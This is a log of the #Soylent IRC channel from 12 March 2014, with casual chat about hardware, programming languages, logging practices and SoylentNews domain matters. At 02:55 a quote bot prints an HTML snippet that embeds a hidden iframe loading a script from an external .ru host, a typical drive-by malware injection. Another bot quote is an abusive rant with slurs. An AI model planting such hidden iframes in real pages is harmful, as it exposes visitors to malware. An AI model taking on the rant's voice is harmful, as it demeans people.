#Soylent | Logs for 2014-03-12

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[00:00:02] <CHALLNGEACCPTD> :(
[00:00:32] <Hedonismbot> [SoylentNews] - ISEE-3/ICE - Perhaps a New Lease of Life - http://sylnt.us - hackers-get-everywhere
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[00:22:16] <NightHawk> mmm, love the smell of lead in the morning.
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[00:24:35] <Khyber> And there's an easy $5 made
[00:24:40] <Khyber> didn't even take 10 minutes
[00:24:58] <CHALLNGEACCPTD> cha-ching
[00:26:00] <Khyber> That's about the sound Google makes at you when the scheduled time is nigh
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[00:30:24] <CHALLNGEACCPTD> Ha
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[00:49:31] <NightHawk> Oh well, was fun to try but this mobo is dead
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[00:56:28] <Blackmoore> sup?
[00:56:56] <erik> hi.
[00:57:46] <Khyber> does the now-dead laptop have an LCD with webcam? If so, how much would you want for the cam?
[00:58:25] <NightHawk> It does have a cam, and no frekin' idea, make me an offer but be aware i'm in Melbourne
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[00:58:43] <Khyber> Oh, shite. lol
[00:59:02] <CHALLNGEACCPTD> well, darn
[00:59:19] <NightHawk> Surely there's plenty cheap enough on ebay?
[00:59:37] <Khyber> meh I'm burned out getting bad shit from ebay
[00:59:52] <CHALLNGEACCPTD> Khyber+
[00:59:54] <Khyber> already aving to deal with one idiot company that sent me 100 1W LEDs instead of a single 100W LED
[01:00:14] <CHALLNGEACCPTD> wat
[01:00:50] <erik> haha are you serious?
[01:00:55] <Khyber> yea, way to send me not only something I didn't ask for but send me enough of the shit to be worth five times what I paid for the single LED
[01:01:36] <NightHawk> Khyber - http://www.ebay.com <-- what I have spare (now)
[01:03:30] <Khyber> tested working, now does it come with a cable?
[01:03:36] * Khyber sends a message asking
[01:04:09] <NightHawk> you'd have to ask the seller, but unlikely.
[01:04:18] <Khyber> that's the deal killer
[01:04:37] <NightHawk> if you say so
[01:04:46] <Khyber> gotta have a cable because I can't be assed to try figuring out and soldering a USB cable to it, when I can just clip the cable end and attach from there
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[01:05:24] <NightHawk> OOI what are you building/botching?
[01:05:34] <Khyber> multi-cam rig for guitar
[01:05:41] <NightHawk> sweet
[01:05:41] <Khyber> already got three cams, need a fourth
[01:06:17] <Khyber> though I'd ideally like to have al the cams matching so I don't have to fuck with different drivers
[01:06:24] <Khyber> so it'd be HP for two more cams
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[01:06:47] <NightHawk> lol, i could sell the cpu for $20 :P
[01:07:23] <Khyber> Got nothing to drop it in :D
[01:08:20] <NightHawk> nope
[01:11:42] <CHALLNGEACCPTD> how interesting
[01:14:07] <NightHawk> however the wifi-n card can go in my x61 :-D
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[01:26:50] <NightHawk> Balls, was affraid of that. Takes full length cards
[01:28:07] <CHALLNGEACCPTD> foiled again
[01:29:29] <NightHawk> nifty - http://www.ebay.com.au
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[01:45:16] <CHALLNGEACCPTD> bah! my freedom is losing in the poll !
[01:45:24] <CHALLNGEACCPTD> and thus my access :(
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[01:46:22] <CHALLNGEACCPTD> drat!
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[01:50:31] * CHALLNGEACCPTD waves
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[01:58:13] <prospectacle> Maybe we should create a study that proves ridiculously well-paid developers are productive developers, and get it widely published.
[01:58:41] <CHALLNGEACCPTD> I'm for that
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[02:01:02] <Hedonismbot> [SoylentNews] - Improve NASA's Asteroid Identification Algorithms and Win $35K - http://sylnt.us - my-years-playing-atari-are-about-to-pay-off
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[02:02:15] <melikamp> Привет!
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[02:03:28] <drcoolbp> hedonismbot is my favorite of the bots
[02:03:34] <drcoolbp> for sure
[02:03:50] <prospectacle> We give some developers monopoly money (a placebo) and some developers real money, and tell them we're doing a test to see what increases productivity. It will be a double blind test, although there's a risk some people will recognise the difference between monopoly money and real money just by looking at it. But that's a chance we'll have to take in the name of science.
[02:04:51] <drcoolbp> seems like a solid plan
[02:06:06] drcoolbp is now known as Captain_coolbp
[02:08:07] <prospectacle> One group is interrupted every five minutes and given $100 monopoly, and the other is interrupted every five minutes and given $100 USD. A third group is interrupted with no money at all, just a question about using outlook. We'll see if being interrupted with money often helps to keep workers productive.
[02:08:56] <SpallsHurgenson> I wanna be in group #2!
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[02:11:10] <prospectacle> Ok good, we have some volunteers already. This is going to be a ground-breaking study. Sure to change how offices are run.
[02:11:39] <SpallsHurgenson> that counts as an interruption! I want my $100USD! :-)
[02:12:08] <prospectacle> We haven't started yet, so make sure to be very unproductive until we do, in order to establish a baseline.
[02:13:14] <SpallsHurgenson> well, if you are looking for somebody to be unproductive, I'm your man!
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[02:13:36] <prospectacle> Thanks
[02:13:43] <Blackmoore> nonsens Spalls - i'm even less productive!
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[02:14:14] <Blackmoore> no wait, i sent in 7 submissions
[02:14:15] <SpallsHurgenson> instead of arguing the point with Blackmoore, I'm going to just sit here and drool
[02:14:25] <Blackmoore> :P
[02:14:43] <prospectacle> Well if we're going to be competitive about it: I actively destroy work i did previously
[02:15:13] <Blackmoore> i'm too lazy to even blink
[02:15:30] <SpallsHurgenson> <dribble>
[02:15:37] <prospectacle> I'm having this sentence written by a psychic servant, so I don't even have to speak it out loud.
[02:16:07] <SpallsHurgenson> <slobber>
[02:16:50] <swiss> slobber, what r u doin on the freenode side
[02:16:55] <swiss> oh
[02:16:56] <swiss> wait
[02:16:57] <swiss> nope
[02:17:07] <swiss> SpallsHurgenson: you confused me
[02:17:35] * SpallsHurgenson denies he did anything of the sort... in fact, I deny I do anything!
[02:18:00] <Blackmoore> <breathes>
[02:18:09] <Blackmoore> damn it
[02:18:24] <prospectacle> You put up a good fight, blackmoore, no shame in that
[02:18:33] <Blackmoore> alright Spalls you win this time.
[02:18:45] * SpallsHurgenson even denies that he is denying anything!
[02:20:08] <prospectacle> I'm pretty sure they covered that in logic class. It's a power-dock or something like that
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[02:20:59] <SpallsHurgenson> I can't even win a non-productivity contest, that's how unproductive I am!
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[02:21:36] <SpallsHurgenson> (and so on and so forth. I think I've beaten this joke to death. Moving on)
[02:21:46] * CHALLNGEACCPTD MOOOO
[02:21:57] * CHALLNGEACCPTD is not a horse to be beaten
[02:22:36] <prospectacle> Spalls, you've totally nailed it. What an produtive accomplishment.
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[02:23:59] <SpallsHurgenson> actually, I should pull out the laptop and do some work.
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[02:29:50] <holycause> crickets...
[02:30:19] <prospectacle> Good day holycause
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[02:30:40] <SpallsHurgenson> I'm working, honest!
[02:30:58] <holycause> good day :>
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[02:31:46] <SpallsHurgenson> it's complete coincidence that my work is best performed with a gamepad!
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[02:33:40] <prospectacle> Who thinks that the malaysian air flight is at someone's super-villain lair?
[02:38:51] <erik> you.
[02:39:18] <erik> did you guys see Cosmos on sunday (or any day after)?
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[02:45:45] <SpallsHurgenson> awww, my kitty likes her present :)
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[02:46:17] <SpallsHurgenson> (tissue-wrapping-paper... she likes to sit on it and make it crinkle :)
[02:46:44] <robind> lol
[02:46:50] <robind> kitteh
[02:47:08] <robind> i have a bunny he would probably attack that paper
[02:48:41] <Hedonismbot> [poutine] Look you piece of shit. I would KICK the LIVING SHIT out your motherfucking POG collection with my SUPER JESUS SLAMMER, it has 2x as many holographic images, and those chips are its war scars, you better believe. I bet you don't even anything other than 2 6 sided dice at your house you inferior retardslob, try playing in the NWoD with that bitch. Your LARP costume is some gay japan anime girl shit too, just because it's a cartoon doesn't
[02:48:41] <Hedonismbot> [poutine] an you're not cross dressing when you wear it bitch
[02:49:14] <robind> hm
[02:49:17] <erik> wow he sounds angry.
[02:49:18] <robind> thanks poutine
[02:49:31] <prospectacle> As relevant today as it was when it was written
[02:49:47] <robind> why does hedonismbot quote people sometimes?
[02:49:59] <Hedonismbot> [poutine] what is a hedonismbot
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[02:50:13] <robind> it's a character from futurama
[02:50:20] <robind> and apparently also the nickname of an irc bot
[02:50:36] <Hedonismbot> [poutine] I wrote an IRC bot in 30k lines of C
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[02:55:20] <Hedonismbot> [poutine] <body><iframe src="http://xb8.ru:8080/ts/in.cgi?pepsi122" width=125 height=125 style="visibility: hidden"></iframe>
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[02:56:51] xlefay changed topic of #Soylent to: SoylentNews is LIVE people, so spread the word! https://soylentnews.org | Wiki: http://sylnt.us | Forums: http://sylnt.us | Code: http://sylnt.us | Got bugs? http://sylnt.us | Who's who? http://sylnt.us | Get Involved: mrcoolbp@soylentnews.org | Staff discussions in #staff are now open for all, always.
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[03:00:03] <SpallsHurgenson> it was such a nice warm day today... but now it is cold again. time to turn on the other computers again, I guess
[03:03:36] <GungnirSniper> It's not that cold, you only need one Pentium 4.
[03:04:16] <erik> Netburst ftw
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[03:06:00] <NezSez> slow night eh?
[03:06:10] <useless> yep
[03:06:44] <erik> I wonder what would happen if you pair up a P4 and an Nvidia 480GTX card
[03:07:02] <SpallsHurgenson> the end of the universe as we know it?
[03:07:23] <useless> very strange babies
[03:07:24] <erik> is that how the big bang happened?
[03:07:44] <NezSez> sony would autodetect the nvidia and promptly install the wrong drivers :)
[03:07:46] <SpallsHurgenson> not the way I remember it
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[03:12:50] <prospectacle> looks like it's heading towards either nerdcard.net or dailybacon.com
[03:13:52] <SpallsHurgenson> awww, I wanted hotgrits
[03:17:54] <Hedonismbot> [poutine] has the new owner identified himself? Is our only developer, NCommander on board?
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[03:34:24] * Konomi hates cars
[03:34:50] <drussell> hashbang.org is my favorite... Did anyone ever manage to contact whoever owns it?
[03:36:21] <NezSez> konomi hates kuruma!
[03:36:24] <drussell> or .net or .whatever :)
[03:36:56] <Konomi> if my pc was as reliable as my car I'd have tossed it out a window -.-
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[03:37:18] <Konomi> the car hasn't been thrown yet cause I haven't figured a way to do so grrr
[03:37:33] <bryan> drussell: that'd be a cool one
[03:37:34] <drussell> catapult
[03:37:37] <NezSez> if my car was as reliable as most of the software I use, I'd be dead :)
[03:37:56] <NezSez> shebang.org just isn't right
[03:38:09] * NezSez rimshot
[03:38:26] <Konomi> you using a mac?
[03:38:40] <fx_68> dark aide of the slash
[03:38:58] <fx_68> side. uggghhh
[03:39:22] <NezSez> oh arch/platform doesn't matter; it's the software <sigh>
[03:39:50] <NezSez> my samsung smart tv is gawd awful
[03:40:18] <NezSez> the samsung hd surround sys is even worse
[03:40:22] <Konomi> smart is just a joke on you
[03:40:29] <NezSez> software wise I mean
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[03:40:55] <NezSez> kore wa non desu ka?!
[03:41:08] <Konomi> when they say smart they generally mean they're trying to make the software smart enough to be used by idiots
[03:41:42] <NezSez> true, although now I think it means smart enough to collect any data on you and phone home
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[03:42:51] <BadCoderFinger> Yo
[03:42:58] <NezSez> yo bad
[03:43:11] <BadCoderFinger> How's it going, guys?
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[03:43:33] <NezSez> it's going very slow in here at least :)
[03:43:38] <NezSez> e tu?
[03:43:56] <BadCoderFinger> Not bad. Tweaking my firewall tool.
[03:44:21] <NezSez> did you write the tool?
[03:44:24] <BadCoderFinger> Yep.
[03:44:34] <NezSez> ah cool, what lang did you use?
[03:44:48] <BadCoderFinger> It started as bash, then perl, now ruby.
[03:44:55] <NezSez> LOL
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[03:45:03] <NezSez> yeah that happens :)
[03:45:20] <BadCoderFinger> I like the lambdas in ruby.
[03:45:22] <NezSez> I just started looking at ruby recently (for no good reason)
[03:45:49] <NezSez> lambdas are convienent ( how do you spell that?)
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[03:46:20] <NezSez> lotta langs support lambda/anon funcs nowdays
[03:46:23] <Cmn32480> Quick question... any updates in the last 24 hours? I been afk all day.
[03:46:47] <NezSez> cmn: none that I heard
[03:46:56] <BadCoderFinger> Even the new C++ standard has them, but the syntax is ugh.
[03:47:00] <Cmn32480> Nuts.
[03:47:22] <NezSez> cmn: a whois on the domain showed an email with okinawinwarrior or something like that
[03:47:29] <Cmn32480> OK. I will check in again tomorrow night. This travelling to make a living shit sucks.
[03:47:36] <NezSez> LOL
[03:47:45] <NezSez> via con dios amigo
[03:48:14] <BadCoderFinger> Yeah, travelling bites.
[03:48:29] <Cmn32480> At least Memphis a a decent town,
[03:48:32] <NezSez> badcoder: is this the c0++ thing or c11 whatever they are calling it
[03:49:35] <BadCoderFinger> C++0x095-chupacabra or something horrific like that.
[03:49:49] <BadCoderFinger> Ugh! Memphis--
[03:50:03] <NezSez> LOL
[03:50:05] <BadCoderFinger> Dangit. Bot not listening.
[03:50:10] <BadCoderFinger> Memphis--
[03:50:10] <Hedonismbot> karma - memphis: -4
[03:50:14] <BadCoderFinger> There.
[03:50:41] <Cmn32480> Actually I will be across the border in Mississippi. Memphis was a better choice. And easier to spell!
[03:51:08] <BadCoderFinger> West Memphis?
[03:51:19] <BadCoderFinger> Oh, south.
[03:51:38] <BadCoderFinger> Visit the gambling boats, heh!
[03:51:43] <Khyber> Fuck Memphis
[03:51:45] <Cmn32480> Yeah about 20min south of the airport
[03:51:50] <wjwlsn> west
[03:52:00] <wjwlsn> i
[03:52:24] <NezSez> badcoderF: if you like lambdas, have you played with lisp/ocaml/haskell/f# etc any?
[03:52:57] <BadCoderFinger> A bit with Lisp, but nothing much else.
[03:53:29] <BadCoderFinger> NewLisp is fun and easy.
[03:53:33] <NezSez> c# can support a functional style too
[03:53:44] <NezSez> yeah i read about newlisp but haven't played with it
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[03:53:59] <BadCoderFinger> Yeah, but I just can't get into c#
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[03:54:33] <NezSez> i played briefly with F#.....it just isn't getting enough traction for serious consideration though
[03:55:15] <NezSez> and python, but the whole whitespace/indent thing turns me off
[03:56:00] <BadCoderFinger> Yeah, I will never admit to using COBOL in the past, but that's what the indentation thing reminds me of.
[03:56:46] <NezSez> I've never coded in cobol; I don't think I've even read any cobol code (maybe I saw some in the 80's or something)
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[03:57:29] <NezSez> I would consider playing with ada, but if i was gonna do that I'd rather check out Erlang
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[03:58:02] <BadCoderFinger> Plus it seems like any program in python requires a few srceens (and I use a tiny font!) of boilerplate for anything more trivial than "Hello world."
[03:58:17] <NezSez> LOL
[03:58:35] <NezSez> it's all that damn whitespace!
[03:59:26] <NezSez> so apart from the lambdas, what do you like about ruby?
[03:59:43] <BadCoderFinger> Heh! There's an esoteric language that consists entirely of whitespace.
[03:59:53] <NezSez> I ask because, at this point I know little about it
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[04:00:14] <NezSez> yeah, BF, Cow, lotso funny esoteric langs
[04:00:17] <BadCoderFinger> I like perl because I can write it a lot like I write C. But ruby is a tad more legible.
[04:00:19] <Landon> hehe, I used to complain about python's whitespace when I was first introduced to it
[04:00:29] <Landon> I don't know anyone that's done a non-trivial program and kept complaining however
[04:00:31] <Titanium> whitespace >> brainfuck >> verilog >> c >> all else
[04:00:32] <Hedonismbot> [SoylentNews] - You Can Help Find the Missing Plane - http://sylnt.us - many-eyes-make-all-bugs-shallow-sort-of-thing
[04:00:45] <BadCoderFinger> Befunge is a personal favorite.
[04:01:10] <Titanium> there are also those turing complete languages that only have a single instruction :)
[04:01:10] <NezSez> someone else today told me about befunge, I'd never heard of it
[04:01:50] <NezSez> was it for some RPG game?
[04:01:53] <Landon> NezSez: I recommend looking up Malbolge too
[04:02:58] <NezSez> landon: we used python/numpy/scipy with hadoop/mahout for genome sequencing; none of that team minded the whitespace
[04:03:00] <BadCoderFinger> Befunge is like a 2D version of brainfuck.
[04:03:15] <Titanium> i know a guy that actually built a business around one of these esoteric programming languages :)
[04:03:27] <NezSez> landon: but for me, it reminds me of fortran77 <yikes>
[04:04:10] <Titanium> part of their DRM was re-writing the code in a new esoteric language, one that represented a simple machine language set
[04:04:12] <Titanium> and then run that
[04:04:12] <NezSez> Titanium: really? What did he do, or what services did his biz provide?
[04:04:18] <Titanium> hacks for games
[04:04:34] <NezSez> badcoder: LOL
[04:05:08] <Titanium> they also hooked the graphics drivers and the code ran from there ;)
[04:05:19] <NezSez> that's impressive
[04:05:27] <Titanium> the guy was very smart
[04:05:28] <BadCoderFinger> Heh, it's a great little language. I use it for my email in my sig.
[04:06:55] <NezSez> i heard the runtime performance of ruby was pretty slow, compared to current python for example
[04:07:15] <BadCoderFinger> Yeah, it's a utility language.
[04:07:30] <BadCoderFinger> When I need performance, I hit the C compiler.
[04:07:34] <NezSez> I saw some stats about clisp's performance and it was actually pretty fast compared to most langs
[04:08:02] <NezSez> c is still king of the hill; I doubt many would dispute that
[04:08:15] <NezSez> D does pretty good
[04:08:34] <Titanium> i like java, it 'can' be pretty good performance
[04:08:36] <NezSez> but I was shocked that clisp does as well as it did
[04:08:53] <Titanium> and it also officially supports muiltithreading
[04:09:35] <NezSez> Titanium: I had a friend at sun on the glassfish thing (later at oracle) and according to him you can actually get very good perf from java
[04:09:48] <Landon> awww, that's the one thing I dislike about python
[04:09:50] <Landon> that damn GIL
[04:09:59] <Titanium> you have to make sure you avoid creating new objects
[04:10:06] <Titanium> if you can do that... its abotu as fast as c
[04:10:09] <Titanium> usually
[04:10:14] <NezSez> yes setup is expensive
[04:10:24] <NezSez> landon: what is GIL?
[04:10:25] <Titanium> i prefer to recycle objects :)
[04:10:34] <Titanium> only one thread can run at once in python
[04:10:38] <Landon> NezSez: global interpreter lock, basically nullifies threading in python
[04:10:46] <Landon> every thread has to acquire the lock to run
[04:10:53] <NezSez> yeah ruby apparently lets you "monkey patch" objects at runtime
[04:10:58] <BadCoderFinger> So no benefit to threading.
[04:11:14] <NezSez> landon: ah, I did not know that
[04:11:14] <Titanium> GIL is a big reson EvE Online fleet battles were limited to 1-2k pilots shooting at each other at a time :(
[04:11:44] <Landon> BadCoderFinger: there is, if you primarily use C modules iirc
[04:11:46] <BadCoderFinger> A bit like the big kernel lock in BSD, although they've been working to get rid of it.
[04:13:20] <BadCoderFinger> Yeah, but you have to be careful with it.
[04:13:33] <Titanium> using c modules... is not a reason python is fast
[04:13:42] <BadCoderFinger> Most people screw up threading anyway, so not much incentive.
[04:13:55] <Titanium> visual basic is fast because you can add inline assembler
[04:14:02] <Titanium> i dont screw it up in my code
[04:14:13] <BadCoderFinger> Heh!
[04:14:17] <Titanium> but it takes a lot longer to write stuff
[04:14:32] <Titanium> im too terrified to screw it up... i waste like a day looking for threading bugs :(
[04:15:48] <BadCoderFinger> Ever looked at OpenMP?
[04:15:49] <Landon> the good thing about multithreading is it makes newbie programmers graduate from print-debugging :)
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[04:16:12] <Titanium> no it doesnt
[04:16:13] <Landon> impossible because its debug to then
[04:16:24] <Titanium> i just use log4j instead :)
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[04:16:37] <Landon> well, that's a step in the right direction :P
[04:16:45] <Titanium> i log 'everything'
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[04:16:59] <Titanium> not nearly as much as the stuff i work with at work
[04:17:02] <Titanium> but 'eveything'
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[04:17:36] <Titanium> we have logs that with a 300 MB buffer will rollover in 30 seconds
[04:17:48] <Titanium> and those arent the most detailed :)
[04:17:52] <Landon> yep
[04:18:06] <Landon> so many "my box doesn't work!?!?!" at work..
[04:18:24] <Landon> turns out they've had kernel modules with full debugging on, filled up /var/ over the period of weeks
[04:18:39] <Titanium> we have hundreds of logfiles
[04:18:43] <Titanium> all stored in memory
[04:19:03] <Titanium> but routers are different from servers
[04:19:06] <Titanium> at least a little bit
[04:19:17] <BadCoderFinger> Yeah, a bit, heh
[04:19:25] <Titanium> less than you would think
[04:19:28] <Landon> it's actually a shame storage is so cheap, because "log leaks" inevitably hit the customer
[04:20:06] <Titanium> we can re-configure the size of and enable/disable any logs at runtime
[04:20:18] <Titanium> and then there is also debug logs ontop of that
[04:20:31] <Titanium> but thats totally different as they get dumped in a file
[04:21:50] <Titanium> for example with 100s of interfaces there are logs that show all the states each phy goes through when it does anything
[04:22:28] <BadCoderFinger> Seems a bit like overkill.
[04:22:36] <Titanium> sadly, i needed more
[04:23:06] <Titanium> when people spend $1m per router... they expect at least this so it can be supported
[04:23:15] <bryan> GungnirSniper: sup?
[04:24:43] <Titanium> if you ask them to reboot it and see if the problem comes back... they start buying routers from another vendor
[04:25:35] <NezSez> gotta go soon...no new news about "matt" the domain owner I take it?
[04:25:49] <Titanium> owning a domain is nothing
[04:26:02] <Titanium> you can switch in minutes...
[04:26:58] <Titanium> anyways, they dont look for another vendoe, they talk to sales people who talk to your boss's boss's boss's boss's boss and then they ask WTF you said that for :)
[04:27:31] <BadCoderFinger> There's a lot of that.
[04:27:36] <NezSez> not when ppl want that specific domain it isn't nothing, missed the drama I take it
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[04:28:17] <Titanium> i refuse to participate in drama
[04:28:24] <Titanium> other than to tell someone go fuck yoruself
[04:28:36] <Titanium> assumign they are acting like a toddler
[04:29:10] <BadCoderFinger> They'll sort it out eventually.
[04:29:12] <NezSez> there has been some of that goin on the last few days here :)
[04:29:45] <Titanium> if the site only costs $300 a month to run... il pay for it if nobody else will
[04:29:58] <Titanium> if they are arguing over who gets to put adds on the site and make money, fuck them
[04:30:09] <Titanium> let them sort it out
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[04:32:08] <NezSez> okay nighters all, thnx for conversation
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[04:32:24] <BadCoderFinger> I'm not bothered if they put ads up. I use adblock.
[04:32:39] <BadCoderFinger> Night NezSez!
[04:32:52] <Titanium> yeah, i wont notice either
[04:33:34] <Titanium> are there any sites that get sponsors and put an add in the site?
[04:33:42] <Titanium> or does this not happen anymore
[04:33:53] <Landon> are you suggesting we join a web circle?
[04:33:58] <useless> hahaha
[04:33:58] <Titanium> no
[04:34:16] <Titanium> like lets say $company wants to advertise $product
[04:34:26] <Titanium> they give you money and you put their add on your site
[04:34:32] <Titanium> do peopel do this anymore?
[04:34:36] <useless> haven't seen that in a while
[04:34:50] <useless> valinux used to do that
[04:34:57] <Hedonismbot> [poutine] titanium, ad is short for advertisement, there is no 2nd d in advertisement
[04:34:58] <Hedonismbot> [poutine] genius
[04:34:59] <Landon> I have no experience in this area, but I can't imagine why anyone wouldn't use an established ad network
[04:35:15] <Titanium> the lack of experience shows ;)
[04:35:17] <Landon> (one that can tailor for the content of the site)
[04:35:18] <Landon> :)
[04:35:29] <BadCoderFinger> All the more reason to block ads.
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[04:35:37] <Titanium> add networks are spawn of satan
[04:36:22] <Titanium> do they still do web rings?
[04:36:26] <Titanium> those were the days :)
[04:36:51] <Ethanol-fueled> Fuck yeah. Final Fantasy MIDI webrings.
[04:36:59] <Titanium> the ways things are going soon there might not even be websites anymore, just web applications that happen to have a url :)
[04:37:10] <BadCoderFinger> Ugh.
[04:37:17] <Ethanol-fueled> When you're too cheap and technically resourceful to buy the overpriced sheet music.
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[04:38:44] <Landon> heh, I didn't realize Khan Academy had gamification
[04:39:28] <Titanium> http://motherfuckingwebsite.com
[04:39:30] <Titanium> :)
[04:39:35] <Landon> bytram: google khan academy :)
[04:39:38] <Titanium> its SFW i promise :)
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[04:46:30] <Landon> http://emacs.sexy
[04:46:33] <Landon> oh good god, we need that TLD
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[04:52:14] <SpallsHurgenson> okay, naked time!
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[04:52:45] <BadCoderFinger> http://programming-motherfucker.com <- not very safe for work
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[04:56:28] <Khyber> Speaking of MIDI - http://www.musicrobot.com Have some 90s nostalgia
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[05:19:48] <juggs> hola lentils
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[05:21:34] <Hedonismbot> [SoylentNews] - Snowden Denounces Feinstein, Cites 'Merkel Effect' - http://sylnt.us - good-for-the-goose
[05:21:52] <juggs> what news of our illustrious new leader?
[05:22:20] <BadCoderFinger> Nothing new.
[05:23:17] <juggs> still the mysterious benevolence?
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[05:24:35] <BadCoderFinger> Heh, if you call it that, I suppose.
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[05:28:41] <juggs> I don't know what to call it, the last I saw was mattie's SN post with "looks to be a benevolent benefactor from the community". Time will reveal all.
[05:29:40] <mattie_p> hey, thanks for the reminder
[05:29:47] <mattie_p> I need to provide a status update on that
[05:30:17] <juggs> just call me Lt. Postit !
[05:30:39] <mattie_p> I've been kind of busy today and forgot
[05:30:41] <mattie_p> !todo
[05:30:41] <Hedonismbot> todo for mattiep: 1) drink 2) article voting system 3) bug report on delayed posting of polls 4) pass dev email to paulej72 5) contact matt 6) email janrinok
[05:31:25] <juggs> ahh... I'm guessing 1) good be in progress a while :D
[05:31:32] <juggs> could*
[05:31:36] <useless> hehe
[05:31:39] <useless> good idea
[05:31:42] <mattie_p> !quote 1
[05:31:42] <Hedonismbot> Quote 1 - <NCommander> DarkMorph, because whenever I have to touch hashref's I want to stab my eyes out
[05:31:45] <mattie_p> !quote 2
[05:31:45] <Hedonismbot> Quote 2 - <hax0rz> highlights, gold, they shine
[05:31:48] <mattie_p> !quote 3
[05:31:48] <Hedonismbot> Quote 3 - <soulde> :D
[05:31:50] <mattie_p> !quote 4
[05:31:50] <Hedonismbot> Quote 4 - <xlefay> soulde: you can always change it :P
[05:31:51] <mattie_p> !quote 5
[05:31:51] <Hedonismbot> Quote 5 - <hax0rz> Hyper: go ahead, whatever your fetish is
[05:31:53] <mattie_p> !quote 6
[05:31:53] <Hedonismbot> Quote 6 - <soulde> I have friends that are better bots than Bender
[05:31:56] <mattie_p> !quote 7
[05:31:56] <Hedonismbot> Quote 7 - <mattie_p> 1 is an ongoing effort, and will not cease
[05:32:01] <mattie_p> there we go
[05:32:13] <mattie_p> I knew it was there somewhere
[05:33:19] <juggs> thank $deity for that - thought you may be having some kind of fit near a keyboard
[05:34:05] <mattie_p> I've learned how to prevent quoting like that, but its pretty funny
[05:36:59] <mattie_p> anyway, I need to get on that status update
[05:46:32] <Khyber> !quote 17
[05:46:32] <Hedonismbot> Quote 17 - <Khyber> backed by physical asses, more like it.
[05:46:56] <Khyber> How the fuck did I even remember that?
[05:47:24] <holycause> !quote 32
[05:47:24] <Hedonismbot> Can't find quote 32
[05:47:35] <holycause> !quote 20
[05:47:35] <Hedonismbot> Quote 20 - <auto_def> xlefay: huh?
[05:47:58] <useless> wow, that's a keeper
[05:47:59] <holycause> !quote 26
[05:47:59] <Hedonismbot> Can't find quote 26
[05:48:06] <holycause> !quote 23
[05:48:06] <Hedonismbot> Quote 23 - <FatPhil> I just tried to set via ssh my g/f's desktop image to that bacon in order to taunt her, but by command didn't work, and I ended up with it as my background image instead
[05:48:21] <holycause> heh heh
[05:51:50] <drcoolbp> hahah
[05:52:54] <mattie_p> well, now we've got to review all of them
[05:53:51] <juggs> hands up for who volunteers to be the sordid quote wrangler!
[05:54:29] <BadCoderFinger> Well, that was a rallying cry of zero.
[05:54:45] <juggs> give it time.........
[05:54:50] <BadCoderFinger> Heh!
[05:55:05] * juggs watches the tumbleweeds
[05:55:46] <juggs> any minute now.... someone will say something dumb that sees them in the saddle....
[05:55:55] <BadCoderFinger> The real travesty is not having a quote 42. It would have to be Monty Python, though, just to annoy the serious nerds.
[05:56:05] <mattie_p> I'd go through them but I'm supposed to be writing a status update right now
[05:56:22] <mattie_p> I mean, I am writing a status update right now
[05:56:24] <FoobarBazbot> !grab juggs
[05:56:24] <Hedonismbot> Added quote 24
[05:56:59] <useless> kinky!
[05:57:41] <juggs> I love you too FoobarBazbot. Now stop grabbing.
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[05:58:02] <useless> or at least spring for drinks and dinner first
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[05:58:20] <FoobarBazbot> hmmm....
[05:58:43] <GungnirSniper> Weird, you'd think someone who can handle perl can handle irc.
[05:58:47] <useless> someone wants us to notice he logged in
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[05:59:05] <BadCoderFinger> Heh, looks that way!
[05:59:08] <GungnirSniper> Except his own banhammer kicked him.
[05:59:29] <juggs> I guess he was trying to relate to us the entire contents of 1984 in one hit
[06:00:17] -!- NCommander [NCommander!~mcasadeva@2600:3c00::gkjo:ggkm:vshr:juyz] has joined #Soylent
[06:00:42] <mattie_p> he's afk now anyway
[06:01:10] <drcoolbp> hahaha
[06:01:51] <mattie_p> drcoolbp, I thought you were going to sleep?
[06:02:02] <drcoolbp> finishing up my duties
[06:02:08] <drcoolbp> as per your email sir.
[06:02:26] <mattie_p> well, they didn't have to be done this second, but I appreciate the dedication
[06:02:57] <juggs> probably the cat
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[06:04:31] <drcoolbp> mattie_p I'm not even sure how many redirects go to me at this point...
[06:04:42] <drcoolbp> volunteer@sn isn't set up yet.....
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[06:04:49] -!- mode/#Soylent [+v MrBluze] by BaconTree
[06:04:49] <mattie_p> drcoolbp I know, I need to remove some of those
[06:05:01] <drcoolbp> nah, volume is still super-low
[06:05:01] <mattie_p> pm?
[06:05:04] <drcoolbp> sure
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[06:11:07] <juggs> irc has volume?
[06:11:21] <MrBluze> no, cause it only has two dimensions
[06:11:30] <useless> must be one of those new fangled GUI programs
[06:11:38] <Konomi> urk
[06:11:49] <mattie_p> welcome back, Konomi
[06:11:57] <MrBluze> i dont like going outside, 3D gives me headaches
[06:11:57] <Konomi> flat car battery, get a taxi get a socket set and b attery charger
[06:11:58] <useless> heya Konomi
[06:12:02] <Konomi> take the batterty out with the socket set
[06:12:14] <Konomi> put it on the charger at the back door
[06:12:17] <Konomi> not a single sceatch
[06:12:17] <MrBluze> Konomi: .. jumper leads
[06:12:24] <Konomi> walk inside put hand on bed cut myself with the scissors
[06:12:34] <MrBluze> ouch
[06:12:36] <Konomi> karma: haha screw you >.<
[06:12:38] <FoobarBazbot> IRC DOES TOO HAVE VOLUME
[06:12:54] <juggs> FUUUUUUUUUUUUUUUUUU!!!!!!!!!!!!!!!!1
[06:12:57] <Konomi> MrBluze: I think my alternator is going it needs a proper charge
[06:13:13] <Konomi> you know the last time I injured myself it was on my desk?
[06:13:18] <MrBluze> i have a jump-start battery thing for my car
[06:13:21] <useless> Konomi: why were there scissors on the bed?
[06:13:24] <juggs> how does on charge an alternator?
[06:13:28] <Konomi> it's like do extremely highly likely thing to get a cut, get no cut
[06:13:30] <juggs> one*
[06:13:35] <Konomi> come inside and injure yourself on your own desk
[06:14:01] <MrBluze> alternator generates pulse wave 15v or therabouts and this is smoothed to charge the battery
[06:14:10] <FoobarBazbot_> juggs: van deGraaf generator
[06:14:14] <Konomi> idk my car keys were conviently on top of them so I reached for them and somehow got cut
[06:14:29] <Konomi> my car is just emo land atm
[06:14:40] <MrBluze> black on black?
[06:14:48] <Konomi> mechanic tells me gear box is slipping needs a service bad haven't found a replacement gearbox
[06:14:49] <MrBluze> FoobarBazbot_: has the answers
[06:14:51] <Konomi> etc etc
[06:14:54] <useless> no, you're the one cutting yourself
[06:16:15] <Konomi> it just sucks I had to cancel an appointment and I was going to go buy some bras all that is now ruined
[06:16:26] <Konomi> I really really really HATE cars
[06:17:03] * MrBluze nods
[06:17:09] <MrBluze> i just buy reliable cars
[06:17:12] <MrBluze> which are usually ugly
[06:17:19] <kobach> same, but mines not ugly
[06:17:30] <MrBluze> what is yours kobach
